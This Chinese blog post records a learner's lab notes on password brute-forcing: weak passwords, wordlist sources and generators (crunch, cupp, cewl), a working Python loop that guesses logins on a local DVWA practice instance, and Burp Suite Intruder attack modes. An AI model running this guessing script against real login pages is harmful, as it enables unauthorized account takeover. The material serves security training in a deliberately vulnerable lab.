密码暴力猜解

发布时间 2023-08-03 21:12:25作者: yezheng

不安全的密码
密码字典(dict)
python暴力破解(low级别)
burpsuite爆破登录密码或账号

&nbps;

不安全的密码

1.默认密码

000000 123456

空密码

身份证号后六位手机号后六位

2.弱口令 (短少的数字)

https://nordpass.com/most-common-passwords-list/

3.裤子(脱裤子,撞库)

密码验证是否泄漏: https://haveibeenpwned.com/

&nbps;

密码字典(dict)

字典从哪里来?

一。通用字典(word list、dict):

1、Kali自带

2、网络下载(百度、github)注意使用场合:比如Web网站密码字典、WiFi密码字典、操作系统用户密码字典、数据库密码字典 如 github.com/TgeaUs/Weak-password

&nbps;

二。专用字典

1、指定格式字典,比如生日、手机号、QQ号

crunch -h

详见本站 /E:/passwd/crunch字典生成工具.pdf

&nbps;

2、社工字典 cupp、ccupp

cupp (根据身份信息和社会关系分析)kali下载

ccupp 网上搜工具

&nbps;

3、文章内容字典

​ 命令 cewl https://sqlmap.org -w dict.txt

&nbps;

&nbps;

python暴力破解(low级别)

实验环境:dvwa登进去后,low级别

思路(个人理解):

核心:模拟不断试密码的过程,因为这个环境可以不断试密码,直到成功时即--> 没有回复~~incorrec时

官方完整实现过程·:

1、从字典读取值,生成密码

2、HTTP连接到需要暴破的地址

3、获得HTTP响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”

4、如果有提示,就继续下一次循环

5、如果没有,就代表暴破成功

个人理解过程:

1.准备密码字典

2.python代码(向服务器发送请求,直到response(响应)中不在有~~incorrect字段则成功)

params={'username':username,'password':f'{pwd.strip()}','Login':'Login'}
headers=
{"Cookie": "PHPSESSID=eqhqj63kk39q849u1g96ajl8mv; security=low"}

注意:1.请求参数要有cookie(个人理解它作用就是一种判断用户是否登录的标记,cookie最开始是由服务器发送给用户并存储在用户浏览器中,内容有用户登录状态,偏好等。故一般有了cookie就(才)能实现登录)。

所以如果没有cookie就无法进入登录后的状态,因为本实验只有在登录后才起效

2.cookie的书写(自己第一次写带cookie参数的错写成Cookies,卡了半小时才发现哈哈哈);以及参数的字典格式

&nbps;

自己尝试写的代码,参数有错(记录一下哈)

import requests
username='admin'
tay = open("E:\passwd\常用密码.dict")
for pwd in tay:
    print(pwd)
    url=f'http://127.0.0.1/vulnerabilities/brute/?username=                 {username}&password=666&Login=Login'
    resp=requests.get(url=url,headers={"cookies"               :"PHPSESSID=eqhqj63kk39q849u1g96ajl8mv; security=low"})
    print(resp.text)
    break

&nbps;

正确代码

import requests
username='admin'
tay = open("E:\passwd\常用密码.dict")
for pwd in tay:
    url='http://127.0.0.1/vulnerabilities/brute/'
    resp = requests.get(url=url,params={'username':username,'password':f'{pwd.strip()}','Login':'Login'}, headers={"Cookie": "PHPSESSID=eqhqj63kk39q849u1g96ajl8mv; security=low"})
    if 'Username and/or password incorrect.' in resp.text:
        print(f'no!{pwd}')
    else:
        print("OK!")
        print(f'it is {pwd}')
        break

&nbps;

burpsuite爆破登录密码或账号

实验环境 bp代理以及intruder功能,火狐代理

过程:

1.两个代理都打开后,对监听端口进行拦截操作。

2.浏览器进行登录操作并用拦截到响应的登录后的包(抓准确)

3.发送到intruder选择攻击方式,这里选择Cluster bomb()<因为这里要破解用户名+密码>,再给相应字段设置payload

所用攻击方式:

Sniper狙击手 Battering ram攻城锤 Pitchfork 草叉 Cluster bomb榴霰[xiàn]弹